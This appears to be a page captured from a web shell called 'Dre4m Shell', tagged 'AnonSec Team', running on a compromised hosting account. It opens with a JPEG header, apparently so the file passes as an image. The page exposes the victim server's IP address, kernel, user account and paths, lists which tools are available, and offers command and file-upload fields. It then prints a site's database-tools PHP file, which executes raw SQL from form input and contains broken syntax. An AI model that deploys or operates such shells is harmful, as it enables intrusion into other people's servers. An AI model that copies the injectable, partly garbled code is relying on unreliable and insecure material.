ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/seo-mailing/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/seo-mailing/tools/db_tools.php
<?php
// __('DB Restore');
ini_set('memory_limit','512M');

function GetListFiles($folder,&$all_files){
    $fp=opendir($folder);
    while($cv_file=readdir($fp)) {
        if(is_file($folder."/".$cv_file)) {
            $all_files[]=$folder."/".$cv_file;
        }elseif($cv_file!="." && $cv_file!=".." && is_dir($folder."/".$cv_file)){
            GetListFiles($folder."/".$cv_file,$all_files);
        }
    }
    closedir($fp);
}
$all_files=array();
GetListFiles("backups/db",$all_files);
$count_file = array();
foreach($all_files as $value){
	if(end(explode(".",end(explode("/",$value)))) == 'sql'){
		$name = end(explode("/",$value));
		$regexp_code = "/".$INFO['sql_tbl_prefix']."(.*).sql/";
		$regexp_text = $value;
		preg_match_all($regexp_code,$regexp_text,$out);
		if($out[0] != 'export_fes')$count_file[] =$out[0];
	}
}
?>
<h4><?php echo __('MySQL tables FES');?><div class="pull-right"><a href="?tools&db_restore" class="btn btn-small btn-primary"><?php echo __('Restore')?><?php if(is_array($count_file) && count($count_file) > 1){?> (<?php echo count($count_file)-1;?>)<?php }?></a></div></h4>
<script>
jQuery.noConflict()(function($){
	$(document).ready(function () {
		$('.export').click(function() {
			var url = 'tools/get_export_db.php';
			var id = this.id;
			$.get
				  (
					 url,"id=" + id,function(result)
						{
							$('#result').show();
							$('#rhtml').val(result);
							},
						"json"
					);
			return false;
		});	
<?php
		$res=mysqli_query($db,"show tables from {$INFO['sql_database']}");
		$count_tab=0;
		while($table=mysqli_fetch_row($res)){
			if(strripos($table[0], $INFO['sql_tbl_prefix']) === 0){
				$count_tab++;
			}
		}
?>		
		$(".cheackall").click(function()				
			{
				var checked_status = this.checked;
				for (i=1; i<=<?php echo $count_tab?>; i++){
					$('#tab'+i).each(function()
					{
						this.checked = checked_status;
					});
				}
			});
	});
});
</script>
<?php 
if(count($_POST)){
	if(isset($_POST['tool']) && isset($_POST['table']) && count($_POST['table']) > 0){
		if($_POST['tool'] != "backup"  && $_POST['tool'] != "export"){
		?>
			<table class="table table-bordered table-striped">
                <thead>
                    <tr>
                    	<th>Table</th>
                    	<th>Op</th>
                    	<th>Msg_type</th>                                                		
                        <th>Msg_text</th>
                    </tr>
               </thead>     
               <tbody>
<?php		foreach($_POST['table'] as $key=>$val){
				if($_POST['tool'] == "optimize"){
					$sql = mysqli_query($db,"OPTIMIZE TABLE  {$key}");
				}elseif($_POST['tool'] == "repair"){
					$sql = mysqli_query($db,"REPAIR TABLE {$key}");
				}elseif($_POST['tool'] == "analyze"){ 
					$sql = mysqli_query($db,"ANALYZE TABLE {$key}");
				}elseif($_POST['tool'] == "check"){ 
					$sql = mysqli_query($db,"CHECK TABLE {$key}");
				}
				$res = mysqli_fetch_array($sql);?>
					<tr>
                    	<td><?php echo end(explode(".",$res['Table']))?></td>
                    	<td><?php echo $res['Op']?></td>                        
                    	<td><?php echo $res['Msg_type']?></td>
                    	<td><?php echo $res['Msg_text']?></td>                                                
                    </tr>
<?php			} ?>
			</tbody>
            </table>
<?php }elseif($_POST['tool'] == "backup" && $_POST['tool'] != "export"){
			$str = '';
			$dump=$optimize=array(); 
			$dump[] = "-- ver(".$INFO['ver'].")\n";
			foreach($_POST['table'] as $key=>$val){
				$optimize[]=$key;
				$columns=mysql_fetch_row(mysql_query('SHOW CREATE TABLE `'.$key.'`')); 
				$dump[]=$columns[1].";\r\n";
				$resz=mysqli_query($db,'SELECT * FROM `'.$key.'`');
				for($i=0;$m=mysql_fetch_assoc($resz);$i++){ 		
					$name=array(); $value=array();
					foreach($m as $k=>$v){ 
						$name[]=$k;
						$value[]=mysql_real_escape_string($v);
					}				
				$dump[]=($db,"INSERT INTO `".$key."` (`".implode('`, `',$name)."`) VALUES ('".implode("', '",$value)."');\r\n");
				}
			}
			mysqli_query($db,'OPTIMIZE TABLE `'.implode('`, `',$optimize).'`');
			$name=$INFO['sql_tbl_prefix'].date('d.m.Y_H-i-s',time()).'.sql';
			$dump=implode('',$dump);
			file_put_contents('backups/db/'.$name,$dump);
			echo "<div class='alert alert-info'>File dump <a href='backups/db/{$name}'><b>$name</b></a></div>";
	  }
	}elseif(isset($_POST['query']) && $_SERVER['SERVER_ADDR'] != '151.248.126.10'){
		   $query = stripslashes($_POST['query']);
		   $result = mysqli_query($query);
		   echo '<div class="alert alert-info">Results of query: <b>' . $query . "</b></div>";
		   if ( $result == 0 ) {
			  echo 'Error ' . mysqli_errno() . ':' . mysqli_error();
		   } elseif ( !is_resource($result) ) {
			  echo '<p>Query executed successfully</p>';
		   } else {
			  echo '<table class="table table-bordered table-striped"><thead><tr><th class="idx">Row</th>';
			  for ( $i = 0 ; $i < mysqli_num_fields($result) ; $i++ ) {
				 echo "<th>" . mysqli_field_name($result,$i) . "</th>\n";
			  }
			  echo "</tr></thead>\n<tbody>";
			  for ( $i = 0 ; $i < mysqli_num_rows($result) ; $i++ ) {
				 echo '<tr><td class="idx">' . ($i + 1) . '</td>';
				 $row = mysqli_fetch_row($result);
				 for ( $j = 0 ; $j < mysqli_num_fields($result) ; $j++ ) {
					echo '<td>' . htmlspecialchars($row[$j]) . '</td>';
				 }
				 echo "</tr>\n";
			  }
			  echo '</tbody></table>';
		   }
	}elseif(isset($_POST['query']) && $_SERVER['SERVER_ADDR'] == '151.248.126.10'){
		echo "<div class='alert alert-danger'>Disabled on the demo site</div>";
	}
	if($_POST['tool'] == "export" && $_POST['tool'] != "backup"){
			$dump=$optimize=array(); 
			foreach($_POST['table'] as $key=>$val){
				$optimize[]=$key;
				$columns=mysql_fetch_row(mysql_query('SHOW CREATE TABLE `'.$key.'`')); 
				$dump[]=$columns[1].";\r\n-- -------------------------------\r\n";
				$name=array(); $value=array();
				$resz=mysql_query('SELECT * FROM `'.$key.'`');
				for($i=0;$m=mysql_fetch_assoc($resz);$i++){ 		
					foreach($m as $k=>$v){ 
						$name[]=$k;
						$value[]=mysql_real_escape_string($v);
					}				
				$dump[]=($db,"INSERT INTO `".$key."` (`".implode('`, `',$name)."`) VALUES ('".implode("', '",$value)."');\r\n\r\n");
				}
			}
			mysqli_query($db,'OPTIMIZE TABLE `'.implode('`, `',$optimize).'`');
			$dump=implode('',$dump);
			file_put_contents('backups/db/export_fes.sql',$dump);
			?>
		<div id="result" class="well well-small"><textarea id="rhtml" name="rhtml" rows="15" class="input-block-level"><?php echo $dump?></textarea><a href="backups/db/export_fes.sql" target="_blank" class="btn btn-primary"><i class="icon-save"></i> <?php echo __('Saved to file');?></a></div>		
		
<?php	}
	
}

if(file_perms('backups/db/') != 77){
	echo "<div class='alert alert-danger'>".__('Set on the folder backup/db/ permissions 777')."</div>";
}
?>
<div id="result" class="well well-small" style="display:none"><textarea id="rhtml" name="rhtml" rows="15" class="input-block-level"></textarea><a href="backups/db/export_fes.sql" target="_blank" class="btn btn-primary"><i class="icon-save"></i> <?php echo __('Saved to file');?></a></div>
<form action="" method="post">
<table class="table table-bordered table-striped">
	<thead>
    	<tr>
        	<th class="span1"></th>
        	<th><?php echo __('Table')?></th>
            <th class="span1 center"><?php echo __('Rows');?></th>
            <th class="span1 center"><?php echo __('Export')?></th>
            <th class="span1 center"><input type="checkbox" class="cheackall"/></th>
        </tr>    
    </thead>
    <tbody>
    <?php
	$res=mysqli_query($db,"show tables from {$INFO['sql_database']}");
	$ii = 1;
	while($table=mysqli_fetch_row($res)){
		if(strripos($table[0], $INFO['sql_tbl_prefix']) === 0){
	?>
    	<tr>
        	<td class="center"><i class="icon-table"></i></td>
            <td><?php echo $table[0]?></td>
            <td class="center"><?php
            $r = mysqli_fetch_array(mysqli_query("SELECT count(*) FROM {$table[0]}"));
			echo "<a href=''>".$r['count(*)']."</a>";
			?></td>
            <td class="center"><a href="" class="export" id="<?php echo $table[0]?>"><?php echo __('Export')?></a></td>
            <td class="center"><input type="checkbox" id="tab<?php echo $ii++;?>" name="table[<?php echo $table[0]?>]"></td>                                    
        </tr>    
    <?php }} ?>    
    </tbody>
    <tfoot>
    	<tr>
	        <th colspan="5">
            	<div class="input-append pull-right">
                <select name="tool">
					<option value="optimize"><?php echo __('Optimize the selected tables');?></option>
					<option value="repair"><?php echo __('Restore selected tables')?></option>
					<option value="check"><?php echo __('Check the selected tables')?></option>
					<option value="analyze"><?php echo __('Analyze the selected tables');?></option>
                    <option value="backup"><?php echo __('Backups');?></option>
                    <option value="export"><?php echo __('Export');?></option>
				</select>
                <button type="submit" class="btn btn-primary"><?php echo __('Ok')?></button>
                </div>
            </th>
        </tr>    
    </tfoot>
</table>
</form>
<hr>
<h4><?php echo __('Perform');?></h4>
<div class="well well-small">
	<form action="" method="post" class="form-horizontal">
    	<div class="control-group">
            <label class="control-label" for="query"><?php echo __('SQL-query');?></label>
            <div class="controls">
              <textarea name="query" id="query" rows="7" class="input-block-level"></textarea>
            </div>
          </div>
        <div class="form-actions">
          <button type="submit" class="btn btn-primary"><?php echo __('Ok');?></button>
        </div>
    </form>
</div>

<hr>

Anon7 - 2022
AnonSec Team